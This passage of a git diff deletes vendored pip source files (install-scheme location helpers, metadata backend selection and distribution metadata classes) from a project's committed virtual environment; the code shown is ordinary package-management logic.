-    "platbase",
-    "prefix",
-    "exec_prefix",
-]
-if sysconfig.get_config_var("userbase") is not None:
-    _HOME_KEYS.append("userbase")
-
-
-def get_scheme(
-    dist_name: str,
-    user: bool = False,
-    home: str | None = None,
-    root: str | None = None,
-    isolated: bool = False,
-    prefix: str | None = None,
-) -> Scheme:
-    """
-    Get the "scheme" corresponding to the input parameters.
-
-    :param dist_name: the name of the package to retrieve the scheme for, used
-        in the headers scheme path
-    :param user: indicates to use the "user" scheme
-    :param home: indicates to use the "home" scheme
-    :param root: root under which other directories are re-based
-    :param isolated: ignored, but kept for distutils compatibility (where
-        this controls whether the user-site pydistutils.cfg is honored)
-    :param prefix: indicates to use the "prefix" scheme and provides the
-        base directory for the same
-    """
-    if user and prefix:
-        raise InvalidSchemeCombination("--user", "--prefix")
-    if home and prefix:
-        raise InvalidSchemeCombination("--home", "--prefix")
-
-    if home is not None:
-        scheme_name = _infer_home()
-    elif user:
-        scheme_name = _infer_user()
-    else:
-        scheme_name = _infer_prefix()
-
-    # Special case: When installing into a custom prefix, use posix_prefix
-    # instead of osx_framework_library. See _should_use_osx_framework_prefix()
-    # docstring for details.
-    if prefix is not None and scheme_name == "osx_framework_library":
-        scheme_name = "posix_prefix"
-
-    if home is not None:
-        variables = {k: home for k in _HOME_KEYS}
-    elif prefix is not None:
-        variables = {k: prefix for k in _HOME_KEYS}
-    else:
-        variables = {}
-
-    paths = sysconfig.get_paths(scheme=scheme_name, vars=variables)
-
-    # Logic here is very arbitrary, we're doing it for compatibility, don't ask.
-    # 1. Pip historically uses a special header path in virtual environments.
-    # 2. If the distribution name is not known, distutils uses 'UNKNOWN'. We
-    #    only do the same when not running in a virtual environment because
-    #    pip's historical header path logic (see point 1) did not do this.
-    if running_under_virtualenv():
-        if user:
-            base = variables.get("userbase", sys.prefix)
-        else:
-            base = variables.get("base", sys.prefix)
-        python_xy = f"python{get_major_minor_version()}"
-        paths["include"] = os.path.join(base, "include", "site", python_xy)
-    elif not dist_name:
-        dist_name = "UNKNOWN"
-
-    scheme = Scheme(
-        platlib=paths["platlib"],
-        purelib=paths["purelib"],
-        headers=os.path.join(paths["include"], dist_name),
-        scripts=paths["scripts"],
-        data=paths["data"],
-    )
-    if root is not None:
-        converted_keys = {}
-        for key in SCHEME_KEYS:
-            converted_keys[key] = change_root(root, getattr(scheme, key))
-        scheme = Scheme(**converted_keys)
-    return scheme
-
-
-def get_bin_prefix() -> str:
-    # Forcing to use /usr/local/bin for standard macOS framework installs.
-    if sys.platform[:6] == "darwin" and sys.prefix[:16] == "/System/Library/":
-        return "/usr/local/bin"
-    return sysconfig.get_paths()["scripts"]
-
-
-def get_purelib() -> str:
-    return sysconfig.get_paths()["purelib"]
-
-
-def get_platlib() -> str:
-    return sysconfig.get_paths()["platlib"]
diff --git a/venv/Lib/site-packages/pip/_internal/locations/base.py b/venv/Lib/site-packages/pip/_internal/locations/base.py
deleted file mode 100644
index f8d13cd0e60c0c885f629e8ab9efea52ddad680f..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/locations/base.py
+++ /dev/null
@@ -1,82 +0,0 @@
-from __future__ import annotations
-
-import functools
-import os
-import site
-import sys
-import sysconfig
-
-from pip._internal.exceptions import InstallationError
-from pip._internal.utils import appdirs
-from pip._internal.utils.virtualenv import running_under_virtualenv
-
-# Application Directories
-USER_CACHE_DIR = appdirs.user_cache_dir("pip")
-
-# FIXME doesn't account for venv linked to global site-packages
-site_packages: str = sysconfig.get_path("purelib")
-
-
-def get_major_minor_version() -> str:
-    """
-    Return the major-minor version of the current Python as a string, e.g.
-    "3.7" or "3.10".
-    """
-    return "{}.{}".format(*sys.version_info)
-
-
-def change_root(new_root: str, pathname: str) -> str:
-    """Return 'pathname' with 'new_root' prepended.
-
-    If 'pathname' is relative, this is equivalent to os.path.join(new_root, pathname).
-    Otherwise, it requires making 'pathname' relative and then joining the
-    two, which is tricky on DOS/Windows and Mac OS.
-
-    This is borrowed from Python's standard library's distutils module.
-    """
-    if os.name == "posix":
-        if not os.path.isabs(pathname):
-            return os.path.join(new_root, pathname)
-        else:
-            return os.path.join(new_root, pathname[1:])
-
-    elif os.name == "nt":
-        drive, path = os.path.splitdrive(pathname)
-        if path[0] == "\\":
-            path = path[1:]
-        return os.path.join(new_root, path)
-
-    else:
-        raise InstallationError(
-            f"Unknown platform: {os.name}\n"
-            "Can not change root path prefix on unknown platform."
-        )
-
-
-def get_src_prefix() -> str:
-    if running_under_virtualenv():
-        src_prefix = os.path.join(sys.prefix, "src")
-    else:
-        # FIXME: keep src in cwd for now (it is not a temporary folder)
-        try:
-            src_prefix = os.path.join(os.getcwd(), "src")
-        except OSError:
-            # In case the current working directory has been renamed or deleted
-            sys.exit("The folder you are executing pip from can no longer be found.")
-
-    # under macOS + virtualenv sys.prefix is not properly resolved
-    # it is something like /path/to/python/bin/..
-    return os.path.abspath(src_prefix)
-
-
-try:
-    # Use getusersitepackages if this is present, as it ensures that the
-    # value is initialised properly.
-    user_site: str | None = site.getusersitepackages()
-except AttributeError:
-    user_site = site.USER_SITE
-
-
-@functools.cache
-def is_osx_framework() -> bool:
-    return bool(sysconfig.get_config_var("PYTHONFRAMEWORK"))
diff --git a/venv/Lib/site-packages/pip/_internal/main.py b/venv/Lib/site-packages/pip/_internal/main.py
deleted file mode 100644
index ec52c4e0c398cb0f2cc4d941484258bd016015a8..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/main.py
+++ /dev/null
@@ -1,12 +0,0 @@
-from __future__ import annotations
-
-
-def main(args: list[str] | None = None) -> int:
-    """This is preserved for old console scripts that may still be referencing
-    it.
-
-    For additional details, see https://github.com/pypa/pip/issues/7498.
-    """
-    from pip._internal.utils.entrypoints import _wrapper
-
-    return _wrapper(args)
diff --git a/venv/Lib/site-packages/pip/_internal/metadata/__init__.py b/venv/Lib/site-packages/pip/_internal/metadata/__init__.py
deleted file mode 100644
index 1c24efcdebe85e79bf8f37c01590fdb129f33858..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/metadata/__init__.py
+++ /dev/null
@@ -1,169 +0,0 @@
-from __future__ import annotations
-
-import contextlib
-import functools
-import os
-import sys
-from typing import TYPE_CHECKING, Literal, Protocol, cast
-
-from pip._internal.utils.deprecation import deprecated
-from pip._internal.utils.misc import strtobool
-
-from .base import BaseDistribution, BaseEnvironment, FilesystemWheel, MemoryWheel, Wheel
-
-if TYPE_CHECKING:
-    from pip._vendor.packaging.utils import NormalizedName
-
-__all__ = [
-    "BaseDistribution",
-    "BaseEnvironment",
-    "FilesystemWheel",
-    "MemoryWheel",
-    "Wheel",
-    "get_default_environment",
-    "get_environment",
-    "get_wheel_distribution",
-    "select_backend",
-]
-
-
-def _should_use_importlib_metadata() -> bool:
-    """Whether to use the ``importlib.metadata`` or ``pkg_resources`` backend.
-
-    By default, pip uses ``importlib.metadata`` on Python 3.11+, and
-    ``pkg_resources`` otherwise. Up to Python 3.13, This can be
-    overridden by a couple of ways:
-
-    * If environment variable ``_PIP_USE_IMPORTLIB_METADATA`` is set, it
-      dictates whether ``importlib.metadata`` is used, for Python <3.14.
-    * On Python 3.11, 3.12 and 3.13, Python distributors can patch
-      ``importlib.metadata`` to add a global constant
-      ``_PIP_USE_IMPORTLIB_METADATA = False``. This makes pip use
-      ``pkg_resources`` (unless the user set the aforementioned environment
-      variable to *True*).
-
-    On Python 3.14+, the ``pkg_resources`` backend cannot be used.
-    """
-    if sys.version_info >= (3, 14):
-        # On Python >=3.14 we only support importlib.metadata.
-        return True
-    with contextlib.suppress(KeyError, ValueError):
-        # On Python <3.14, if the environment variable is set, we obey what it says.
-        return bool(strtobool(os.environ["_PIP_USE_IMPORTLIB_METADATA"]))
-    if sys.version_info < (3, 11):
-        # On Python <3.11, we always use pkg_resources, unless the environment
-        # variable was set.
-        return False
-    # On Python 3.11, 3.12 and 3.13, we check if the global constant is set.
-    import importlib.metadata
-
-    return bool(getattr(importlib.metadata, "_PIP_USE_IMPORTLIB_METADATA", True))
-
-
-def _emit_pkg_resources_deprecation_if_needed() -> None:
-    if sys.version_info < (3, 11):
-        # All pip versions supporting Python<=3.11 will support pkg_resources,
-        # and pkg_resources is the default for these, so let's not bother users.
-        return
-
-    import importlib.metadata
-
-    if hasattr(importlib.metadata, "_PIP_USE_IMPORTLIB_METADATA"):
-        # The Python distributor has set the global constant, so we don't
-        # warn, since it is not a user decision.
-        return
-
-    # The user has decided to use pkg_resources, so we warn.
-    deprecated(
-        reason="Using the pkg_resources metadata backend is deprecated.",
-        replacement=(
-            "to use the default importlib.metadata backend, "
-            "by unsetting the _PIP_USE_IMPORTLIB_METADATA environment variable"
-        ),
-        gone_in="26.3",
-        issue=13317,
-    )
-
-
-class Backend(Protocol):
-    NAME: Literal["importlib", "pkg_resources"]
-    Distribution: type[BaseDistribution]
-    Environment: type[BaseEnvironment]
-
-
-@functools.cache
-def select_backend() -> Backend:
-    if _should_use_importlib_metadata():
-        from . import importlib
-
-        return cast(Backend, importlib)
-
-    _emit_pkg_resources_deprecation_if_needed()
-
-    from . import pkg_resources
-
-    return cast(Backend, pkg_resources)
-
-
-def get_default_environment() -> BaseEnvironment:
-    """Get the default representation for the current environment.
-
-    This returns an Environment instance from the chosen backend. The default
-    Environment instance should be built from ``sys.path`` and may use caching
-    to share instance state across calls.
-    """
-    return select_backend().Environment.default()
-
-
-def get_environment(paths: list[str] | None) -> BaseEnvironment:
-    """Get a representation of the environment specified by ``paths``.
-
-    This returns an Environment instance from the chosen backend based on the
-    given import paths. The backend must build a fresh instance representing
-    the state of installed distributions when this function is called.
-    """
-    return select_backend().Environment.from_paths(paths)
-
-
-def get_directory_distribution(directory: str) -> BaseDistribution:
-    """Get the distribution metadata representation in the specified directory.
-
-    This returns a Distribution instance from the chosen backend based on
-    the given on-disk ``.dist-info`` directory.
-    """
-    return select_backend().Distribution.from_directory(directory)
-
-
-def get_wheel_distribution(
-    wheel: Wheel, canonical_name: NormalizedName
-) -> BaseDistribution:
-    """Get the representation of the specified wheel's distribution metadata.
-
-    This returns a Distribution instance from the chosen backend based on
-    the given wheel's ``.dist-info`` directory.
-
-    :param canonical_name: Normalized project name of the given wheel.
-    """
-    return select_backend().Distribution.from_wheel(wheel, canonical_name)
-
-
-def get_metadata_distribution(
-    metadata_contents: bytes,
-    filename: str,
-    canonical_name: str,
-) -> BaseDistribution:
-    """Get the dist representation of the specified METADATA file contents.
-
-    This returns a Distribution instance from the chosen backend sourced from the data
-    in `metadata_contents`.
-
-    :param metadata_contents: Contents of a METADATA file within a dist, or one served
-                              via PEP 658.
-    :param filename: Filename for the dist this metadata represents.
-    :param canonical_name: Normalized project name of the given dist.
-    """
-    return select_backend().Distribution.from_metadata_file_contents(
-        metadata_contents,
-        filename,
-        canonical_name,
-    )
diff --git a/venv/Lib/site-packages/pip/_internal/metadata/_json.py b/venv/Lib/site-packages/pip/_internal/metadata/_json.py
deleted file mode 100644
index b39ac0545787df310b1e0a27f2f169cc346df2d5..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/metadata/_json.py
+++ /dev/null
@@ -1,87 +0,0 @@
-# Extracted from https://github.com/pfmoore/pkg_metadata
-from __future__ import annotations
-
-from email.header import Header, decode_header, make_header
-from email.message import Message
-from typing import Any, cast
-
-METADATA_FIELDS = [
-    # Name, Multiple-Use
-    ("Metadata-Version", False),
-    ("Name", False),
-    ("Version", False),
-    ("Dynamic", True),
-    ("Platform", True),
-    ("Supported-Platform", True),
-    ("Summary", False),
-    ("Description", False),
-    ("Description-Content-Type", False),
-    ("Keywords", False),
-    ("Home-page", False),
-    ("Download-URL", False),
-    ("Author", False),
-    ("Author-email", False),
-    ("Maintainer", False),
-    ("Maintainer-email", False),
-    ("License", False),
-    ("License-Expression", False),
-    ("License-File", True),
-    ("Classifier", True),
-    ("Requires-Dist", True),
-    ("Requires-Python", False),
-    ("Requires-External", True),
-    ("Project-URL", True),
-    ("Provides-Extra", True),
-    ("Provides-Dist", True),
-    ("Obsoletes-Dist", True),
-]
-
-
-def json_name(field: str) -> str:
-    return field.lower().replace("-", "_")
-
-
-def msg_to_json(msg: Message) -> dict[str, Any]:
-    """Convert a Message object into a JSON-compatible dictionary."""
-
-    def sanitise_header(h: Header | str) -> str:
-        if isinstance(h, Header):
-            chunks = []
-            for bytes, encoding in decode_header(h):
-                if encoding == "unknown-8bit":
-                    try:
-                        # See if UTF-8 works
-                        bytes.decode("utf-8")
-                        encoding = "utf-8"
-                    except UnicodeDecodeError:
-                        # If not, latin1 at least won't fail
-                        encoding = "latin1"
-                chunks.append((bytes, encoding))
-            return str(make_header(chunks))
-        return str(h)
-
-    result = {}
-    for field, multi in METADATA_FIELDS:
-        if field not in msg:
-            continue
-        key = json_name(field)
-        if multi:
-            value: str | list[str] = [
-                sanitise_header(v) for v in msg.get_all(field)  # type: ignore
-            ]
-        else:
-            value = sanitise_header(msg.get(field))  # type: ignore
-            if key == "keywords":
-                # Accept both comma-separated and space-separated
-                # forms, for better compatibility with old data.
-                if "," in value:
-                    value = [v.strip() for v in value.split(",")]
-                else:
-                    value = value.split()
-        result[key] = value
-
-    payload = cast(str, msg.get_payload())
-    if payload:
-        result["description"] = payload
-
-    return result
diff --git a/venv/Lib/site-packages/pip/_internal/metadata/base.py b/venv/Lib/site-packages/pip/_internal/metadata/base.py
deleted file mode 100644
index 76fb9636583a9dbfe90b51bfb02070d90f13c005..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/metadata/base.py
+++ /dev/null
@@ -1,690 +0,0 @@
-from __future__ import annotations
-
-import csv
-import email.message
-import functools
-import json
-import logging
-import pathlib
-import re
-import zipfile
-from collections.abc import Collection, Container, Iterable, Iterator
-from typing import (
-    IO,
-    Any,
-    NamedTuple,
-    Protocol,
-)
-
-from pip._vendor.packaging.requirements import Requirement
-from pip._vendor.packaging.specifiers import InvalidSpecifier, SpecifierSet
-from pip._vendor.packaging.utils import NormalizedName, canonicalize_name
-from pip._vendor.packaging.version import Version
-
-from pip._internal.exceptions import NoneMetadataError
-from pip._internal.locations import site_packages, user_site
-from pip._internal.models.direct_url import (
-    DIRECT_URL_METADATA_NAME,
-    DirectUrl,
-    DirectUrlValidationError,
-)
-from pip._internal.utils.egg_link import egg_link_path_from_sys_path
-from pip._internal.utils.misc import is_local, normalize_path
-from pip._internal.utils.urls import url_to_path
-
-from ._json import msg_to_json
-
-# packages in the stdlib that may have installation metadata, but should not be
-# considered 'installed'.  this theoretically could be determined based on
-# dist.location (py27:`sysconfig.get_paths()['stdlib']`,
-# py26:sysconfig.get_config_vars('LIBDEST')), but fear platform variation may
-# make this ineffective, so hard-coding
-stdlib_pkgs = {"python", "wsgiref", "argparse"}
-
-
-InfoPath = str | pathlib.PurePath
-
-logger = logging.getLogger(__name__)
-
-
-class BaseEntryPoint(Protocol):
-    @property
-    def name(self) -> str:
-        raise NotImplementedError()
-
-    @property
-    def value(self) -> str:
-        raise NotImplementedError()
-
-    @property
-    def group(self) -> str:
-        raise NotImplementedError()
-
-
-def _convert_installed_files_path(
-    entry: tuple[str, ...],
-    info: tuple[str, ...],
-) -> str:
-    """Convert a legacy installed-files.txt path into modern RECORD path.
-
-    The legacy format stores paths relative to the info directory, while the
-    modern format stores paths relative to the package root, e.g. the
-    site-packages directory.
-
-    :param entry: Path parts of the installed-files.txt entry.
-    :param info: Path parts of the egg-info directory relative to package root.
-    :returns: The converted entry.
-
-    For best compatibility with symlinks, this does not use ``abspath()`` or
-    ``Path.resolve()``, but tries to work with path parts:
-
-    1. While ``entry`` starts with ``..``, remove the equal amounts of parts
-       from ``info``; if ``info`` is empty, start appending ``..`` instead.
-    2. Join the two directly.
-    """
-    while entry and entry[0] == "..":
-        if not info or info[-1] == "..":
-            info += ("..",)
-        else:
-            info = info[:-1]
-        entry = entry[1:]
-    return str(pathlib.Path(*info, *entry))
-
-
-class RequiresEntry(NamedTuple):
-    requirement: str
-    extra: str
-    marker: str
-
-
-class BaseDistribution(Protocol):
-    @classmethod
-    def from_directory(cls, directory: str) -> BaseDistribution:
-        """Load the distribution from a metadata directory.
-
-        :param directory: Path to a metadata directory, e.g. ``.dist-info``.
-        """
-        raise NotImplementedError()
-
-    @classmethod
-    def from_metadata_file_contents(
-        cls,
-        metadata_contents: bytes,
-        filename: str,
-        project_name: str,
-    ) -> BaseDistribution:
-        """Load the distribution from the contents of a METADATA file.
-
-        This is used to implement PEP 658 by generating a "shallow" dist object that can
-        be used for resolution without downloading or building the actual dist yet.
-
-        :param metadata_contents: The contents of a METADATA file.
-        :param filename: File name for the dist with this metadata.
-        :param project_name: Name of the project this dist represents.
-        """
-        raise NotImplementedError()
-
-    @classmethod
-    def from_wheel(cls, wheel: Wheel, name: str) -> BaseDistribution:
-        """Load the distribution from a given wheel.
-
-        :param wheel: A concrete wheel definition.
-        :param name: File name of the wheel.
-
-        :raises InvalidWheel: Whenever loading of the wheel causes a
-            :py:exc:`zipfile.BadZipFile` exception to be thrown.
-        :raises UnsupportedWheel: If the wheel is a valid zip, but malformed
-            internally.
-        """
-        raise NotImplementedError()
-
-    def __repr__(self) -> str:
-        return f"{self.raw_name} {self.raw_version} ({self.location})"
-
-    def __str__(self) -> str:
-        return f"{self.raw_name} {self.raw_version}"
-
-    @property
-    def location(self) -> str | None:
-        """Where the distribution is loaded from.
-
-        A string value is not necessarily a filesystem path, since distributions
-        can be loaded from other sources, e.g. arbitrary zip archives. ``None``
-        means the distribution is created in-memory.
-
-        Do not canonicalize this value with e.g. ``pathlib.Path.resolve()``. If
-        this is a symbolic link, we want to preserve the relative path between
-        it and files in the distribution.
-        """
-        raise NotImplementedError()
-
-    @functools.cached_property
-    def editable_project_location(self) -> str | None:
-        """The project location for editable distributions.
-
-        This is the directory where pyproject.toml or setup.py is located.
-        None if the distribution is not installed in editable mode.
-        """
-        direct_url = self.direct_url
-        if direct_url:
-            if direct_url.is_local_editable():
-                return url_to_path(direct_url.url)
-        else:
-            # Search for an .egg-link file by walking sys.path, as it was
-            # done before by dist_is_editable().
-            egg_link_path = egg_link_path_from_sys_path(self.raw_name)
-            if egg_link_path:
-                # TODO: get project location from second line of egg_link file
-                #       (https://github.com/pypa/pip/issues/10243)
-                return self.location
-        return None
-
-    @property
-    def installed_location(self) -> str | None:
-        """The distribution's "installed" location.
-
-        This should generally be a ``site-packages`` directory. This is
-        usually ``dist.location``, except for legacy develop-installed packages,
-        where ``dist.location`` is the source code location, and this is where
-        the ``.egg-link`` file is.
-
-        The returned location is normalized (in particular, with symlinks removed).
-        """
-        raise NotImplementedError()
-
-    @property
-    def info_location(self) -> str | None:
-        """Location of the .[egg|dist]-info directory or file.
-
-        Similarly to ``location``, a string value is not necessarily a
-        filesystem path. ``None`` means the distribution is created in-memory.
-
-        For a modern .dist-info installation on disk, this should be something
-        like ``{location}/{raw_name}-{version}.dist-info``.
-
-        Do not canonicalize this value with e.g. ``pathlib.Path.resolve()``. If
-        this is a symbolic link, we want to preserve the relative path between
-        it and other files in the distribution.
-        """
-        raise NotImplementedError()
-
-    @property
-    def installed_by_distutils(self) -> bool:
-        """Whether this distribution is installed with legacy distutils format.
-
-        A distribution installed with "raw" distutils not patched by setuptools
-        uses one single file at ``info_location`` to store metadata. We need to
-        treat this specially on uninstallation.
-        """
-        info_location = self.info_location
-        if not info_location:
-            return False
-        return pathlib.Path(info_location).is_file()
-
-    @property
-    def installed_as_egg(self) -> bool:
-        """Whether this distribution is installed as an egg.
-
-        This usually indicates the distribution was installed by (older versions
-        of) easy_install.
-        """
-        location = self.location
-        if not location:
-            return False
-        # XXX if the distribution is a zipped egg, location has a trailing /
-        # so we resort to pathlib.Path to check the suffix in a reliable way.
-        return pathlib.Path(location).suffix == ".egg"
-
-    @property
-    def installed_with_setuptools_egg_info(self) -> bool:
-        """Whether this distribution is installed with the ``.egg-info`` format.
-
-        This usually indicates the distribution was installed with setuptools
-        with an old pip version or with ``single-version-externally-managed``.
-
-        Note that this ensure the metadata store is a directory. distutils can
-        also installs an ``.egg-info``, but as a file, not a directory. This
-        property is *False* for that case. Also see ``installed_by_distutils``.
-        """
-        info_location = self.info_location
-        if not info_location:
-            return False
-        if not info_location.endswith(".egg-info"):
-            return False
-        return pathlib.Path(info_location).is_dir()
-
-    @property
-    def installed_with_dist_info(self) -> bool:
-        """Whether this distribution is installed with the "modern format".
-
-        This indicates a "modern" installation, e.g. storing metadata in the
-        ``.dist-info`` directory. This applies to installations made by
-        setuptools (but through pip, not directly), or anything using the
-        standardized build backend interface (PEP 517).
-        """
-        info_location = self.info_location
-        if not info_location:
-            return False
-        if not info_location.endswith(".dist-info"):
-            return False
-        return pathlib.Path(info_location).is_dir()
-
-    @property
-    def canonical_name(self) -> NormalizedName:
-        raise NotImplementedError()
-
-    @property
-    def version(self) -> Version:
-        raise NotImplementedError()
-
-    @property
-    def raw_version(self) -> str:
-        raise NotImplementedError()
-
-    @property
-    def setuptools_filename(self) -> str:
-        """Convert a project name to its setuptools-compatible filename.
-
-        This is a copy of ``pkg_resources.to_filename()`` for compatibility.
-        """
-        return self.raw_name.replace("-", "_")
-
-    @property
-    def direct_url(self) -> DirectUrl | None:
-        """Obtain a DirectUrl from this distribution.
-
-        Returns None if the distribution has no `direct_url.json` metadata,
-        or if `direct_url.json` is invalid.
-        """
-        try:
-            content = self.read_text(DIRECT_URL_METADATA_NAME)
-        except FileNotFoundError:
-            return None
-        try:
-            return DirectUrl.from_json(content)
-        except (
-            UnicodeDecodeError,
-            json.JSONDecodeError,
-            DirectUrlValidationError,
-        ) as e:
-            logger.warning(
-                "Error parsing %s for %s: %s",
-                DIRECT_URL_METADATA_NAME,
-                self.canonical_name,
-                e,
-            )
-            return None
-
-    @property
-    def installer(self) -> str:
-        try:
-            installer_text = self.read_text("INSTALLER")
-        except (OSError, ValueError, NoneMetadataError):
-            return ""  # Fail silently if the installer file cannot be read.
-        for line in installer_text.splitlines():
-            cleaned_line = line.strip()
-            if cleaned_line:
-                return cleaned_line
-        return ""
-
-    @property
-    def requested(self) -> bool:
-        return self.is_file("REQUESTED")
-
-    @property
-    def editable(self) -> bool:
-        return bool(self.editable_project_location)
-
-    @property
-    def local(self) -> bool:
-        """If distribution is installed in the current virtual environment.
-
-        Always True if we're not in a virtualenv.
-        """
-        if self.installed_location is None:
-            return False
-        return is_local(self.installed_location)
-
-    @property
-    def in_usersite(self) -> bool:
-        if self.installed_location is None or user_site is None:
-            return False
-        return self.installed_location.startswith(normalize_path(user_site))
-
-    @property
-    def in_site_packages(self) -> bool:
-        if self.installed_location is None or site_packages is None:
-            return False
-        return self.installed_location.startswith(normalize_path(site_packages))
-
-    def is_file(self, path: InfoPath) -> bool:
-        """Check whether an entry in the info directory is a file."""
-        raise NotImplementedError()
-
-    def iter_distutils_script_names(self) -> Iterator[str]:
-        """Find distutils 'scripts' entries metadata.
-
-        If 'scripts' is supplied in ``setup.py``, distutils records those in the
-        installed distribution's ``scripts`` directory, a file for each script.
-        """
-        raise NotImplementedError()
-
-    def read_text(self, path: InfoPath) -> str:
-        """Read a file in the info directory.
-
-        :raise FileNotFoundError: If ``path`` does not exist in the directory.
-        :raise NoneMetadataError: If ``path`` exists in the info directory, but
-            cannot be read.
-        """
-        raise NotImplementedError()
-
-    def iter_entry_points(self) -> Iterable[BaseEntryPoint]:
-        raise NotImplementedError()
-
-    def _metadata_impl(self) -> email.message.Message:
-        raise NotImplementedError()
-
-    @functools.cached_property
-    def metadata(self) -> email.message.Message:
-        """Metadata of distribution parsed from e.g. METADATA or PKG-INFO.
-
-        This should return an empty message if the metadata file is unavailable.
-
-        :raises NoneMetadataError: If the metadata file is available, but does
-            not contain valid metadata.
-        """
-        metadata = self._metadata_impl()
-        self._add_egg_info_requires(metadata)
-        return metadata
-
-    @property
-    def metadata_dict(self) -> dict[str, Any]:
-        """PEP 566 compliant JSON-serializable representation of METADATA or PKG-INFO.
-
-        This should return an empty dict if the metadata file is unavailable.
-
-        :raises NoneMetadataError: If the metadata file is available, but does
-            not contain valid metadata.
-        """
-        return msg_to_json(self.metadata)
-
-    @property
-    def metadata_version(self) -> str | None:
-        """Value of "Metadata-Version:" in distribution metadata, if available."""
-        return self.metadata.get("Metadata-Version")
-
-    @property
-    def raw_name(self) -> str:
-        """Value of "Name:" in distribution metadata."""
-        # The metadata should NEVER be missing the Name: key, but if it somehow
-        # does, fall back to the known canonical name.
-        return self.metadata.get("Name", self.canonical_name)
-
-    @property
-    def requires_python(self) -> SpecifierSet:
-        """Value of "Requires-Python:" in distribution metadata.
-
-        If the key does not exist or contains an invalid value, an empty
-        SpecifierSet should be returned.
-        """
-        value = self.metadata.get("Requires-Python")
-        if value is None:
-            return SpecifierSet()
-        try:
-            # Convert to str to satisfy the type checker; this can be a Header object.
-            spec = SpecifierSet(str(value))
-        except InvalidSpecifier as e:
-            message = "Package %r has an invalid Requires-Python: %s"
-            logger.warning(message, self.raw_name, e)
-            return SpecifierSet()
-        return spec
-
-    def iter_dependencies(self, extras: Collection[str] = ()) -> Iterable[Requirement]:
-        """Dependencies of this distribution.
-
-        For modern .dist-info distributions, this is the collection of
-        "Requires-Dist:" entries in distribution metadata.
-        """
-        raise NotImplementedError()
-
-    def iter_raw_dependencies(self) -> Iterable[str]:
-        """Raw Requires-Dist metadata."""
-        return self.metadata.get_all("Requires-Dist", [])
-
-    def iter_provided_extras(self) -> Iterable[NormalizedName]:
-        """Extras provided by this distribution.
-
-        For modern .dist-info distributions, this is the collection of
-        "Provides-Extra:" entries in distribution metadata.
-
-        The return value of this function is expected to be normalised names,
-        per PEP 685, with the returned value being handled appropriately by
-        `iter_dependencies`.
-        """
-        raise NotImplementedError()
-
-    def _iter_declared_entries_from_record(self) -> Iterator[str] | None:
-        try:
-            text = self.read_text("RECORD")
-        except FileNotFoundError:
-            return None
-        # This extra Path-str cast normalizes entries.
-        return (str(pathlib.Path(row[0])) for row in csv.reader(text.splitlines()))
-
-    def _iter_declared_entries_from_legacy(self) -> Iterator[str] | None:
-        try:
-            text = self.read_text("installed-files.txt")
-        except FileNotFoundError:
-            return None
-        paths = (p for p in text.splitlines(keepends=False) if p)
-        root = self.location
-        info = self.info_location
-        if root is None or info is None:
-            return paths
-        try:
-            info_rel = pathlib.Path(info).relative_to(root)
-        except ValueError:  # info is not relative to root.
-            return paths
-        if not info_rel.parts:  # info *is* root.
-            return paths
-        return (
-            _convert_installed_files_path(pathlib.Path(p).parts, info_rel.parts)
-            for p in paths
-        )
-
-    def iter_declared_entries(self) -> Iterator[str] | None:
-        """Iterate through file entries declared in this distribution.
-
-        For modern .dist-info distributions, this is the files listed in the
-        ``RECORD`` metadata file. For legacy setuptools distributions, this
-        comes from ``installed-files.txt``, with entries normalized to be
-        compatible with the format used by ``RECORD``.
-
-        :return: An iterator for listed entries, or None if the distribution
-            contains neither ``RECORD`` nor ``installed-files.txt``.
-        """
-        return (
-            self._iter_declared_entries_from_record()
-            or self._iter_declared_entries_from_legacy()
-        )
-
-    def _iter_requires_txt_entries(self) -> Iterator[RequiresEntry]:
-        """Parse a ``requires.txt`` in an egg-info directory.
-
-        This is an INI-ish format where an egg-info stores dependencies. A
-        section name describes extra other environment markers, while each entry
-        is an arbitrary string (not a key-value pair) representing a dependency
-        as a requirement string (no markers).
-
-        There is a construct in ``importlib.metadata`` called ``Sectioned`` that
-        does mostly the same, but the format is currently considered private.
-        """
-        try:
-            content = self.read_text("requires.txt")
-        except FileNotFoundError:
-            return
-        extra = marker = ""  # Section-less entries don't have markers.
-        for line in content.splitlines():
-            line = line.strip()
-            if not line or line.startswith("#"):  # Comment; ignored.
-                continue
-            if line.startswith("[") and line.endswith("]"):  # A section header.
-                extra, _, marker = line.strip("[]").partition(":")
-                continue
-            yield RequiresEntry(requirement=line, extra=extra, marker=marker)
-
-    def _iter_egg_info_extras(self) -> Iterable[str]:
-        """Get extras from the egg-info directory."""
-        known_extras = {""}
-        for entry in self._iter_requires_txt_entries():
-            extra = canonicalize_name(entry.extra)
-            if extra in known_extras:
-                continue
-            known_extras.add(extra)
-            yield extra
-
-    def _iter_egg_info_dependencies(self) -> Iterable[str]:
-        """Get distribution dependencies from the egg-info directory.
-
-        To ease parsing, this converts a legacy dependency entry into a PEP 508
-        requirement string. Like ``_iter_requires_txt_entries()``, there is code
-        in ``importlib.metadata`` that does mostly the same, but not do exactly
-        what we need.
-
-        Namely, ``importlib.metadata`` does not normalize the extra name before
-        putting it into the requirement string, which causes marker comparison
-        to fail because the dist-info format do normalize. This is consistent in
-        all currently available PEP 517 backends, although not standardized.
-        """
-        for entry in self._iter_requires_txt_entries():
-            extra = canonicalize_name(entry.extra)
-            if extra and entry.marker:
-                marker = f'({entry.marker}) and extra == "{extra}"'
-            elif extra:
-                marker = f'extra == "{extra}"'
-            elif entry.marker:
-                marker = entry.marker
-            else:
-                marker = ""
-            if marker:
-                yield f"{entry.requirement} ; {marker}"
-            else:
-                yield entry.requirement
-
-    def _add_egg_info_requires(self, metadata: email.message.Message) -> None:
-        """Add egg-info requires.txt information to the metadata."""
-        if not metadata.get_all("Requires-Dist"):
-            for dep in self._iter_egg_info_dependencies():
-                metadata["Requires-Dist"] = dep
-        if not metadata.get_all("Provides-Extra"):
-            for extra in self._iter_egg_info_extras():
-                metadata["Provides-Extra"] = extra
-
-
-class BaseEnvironment:
-    """An environment containing distributions to introspect."""
-
-    @classmethod
-    def default(cls) -> BaseEnvironment:
-        raise NotImplementedError()
-
-    @classmethod
-    def from_paths(cls, paths: list[str] | None) -> BaseEnvironment:
-        raise NotImplementedError()
-
-    def get_distribution(self, name: str) -> BaseDistribution | None:
